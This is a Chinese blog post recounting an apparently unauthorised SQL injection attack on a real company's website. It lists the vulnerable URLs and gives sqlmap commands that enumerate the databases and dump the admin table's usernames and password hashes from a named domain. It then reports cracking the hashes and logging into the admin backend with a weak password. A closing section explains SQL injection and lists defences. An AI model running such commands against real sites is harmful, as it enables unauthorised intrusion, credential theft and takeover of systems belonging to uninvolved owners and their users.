记一次对真实网站的SQL注入实战

文章目录

  • 前言
  • 发现过程
  • 漏洞利用
  • 总结

前言

某集团股份有限公司网站存在SQL注入漏洞

发现过程

用针对性工具扫描(这里使用的是超级SQL注入工具)问题网站,得到以下链接均存在SQL注入漏洞
问题URL:
fuwu_fanwei.php?fid=1
fuwu_zhichi.php?zid=5
video.php?video_id=1
news.php?nid=1
about.php?aid=1
fuwu_fanwei_content.php?fid=1&id=1

记一次对真实网站的SQL注入实战_第1张图片

漏洞利用

这里使用sqlmap进行注入
sqlmap -u XX/fuwu_fanwei.php?fid=1 --dbs –batch
检测库:
记一次对真实网站的SQL注入实战_第2张图片
sqlmap -u XX/fuwu_fanwei.php?fid=1 --tables -D sq_zhengxing1
检测sq_zhengxing1库中表:
记一次对真实网站的SQL注入实战_第3张图片

sqlmap -u XX/fuwu_fanwei.php?fid=1 --column -T adminuser -D sq_zhengxing1
检测adminuser表中字段:
记一次对真实网站的SQL注入实战_第4张图片

sqlmap -u http://shzxjsjt.com/fuwu_fanwei.php?fid=1 -C username/password -T adminuser -D sq_zhengxing1 –dump
检测username和password的值:
记一次对真实网站的SQL注入实战_第5张图片

最后破解哈希还得到了弱口令
工具扫描获得后台地址:
记一次对真实网站的SQL注入实战_第6张图片

利用弱口令成功登录:

记一次对真实网站的SQL注入实战_第7张图片

总结

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。
解决SQL注入的方法有:
1.对用户进行分级管理,严格控制用户的权限。
2.禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。
3.获取用户输入提交的参数时,首先要进行基础过滤,然后根据程序的功能及用户输入的可能性进行二次过滤。
4.程序编写时应尽量使用安全参数来杜绝注入式攻击。

你可能感兴趣的:(网络攻防,sql,安全,渗透测试,web)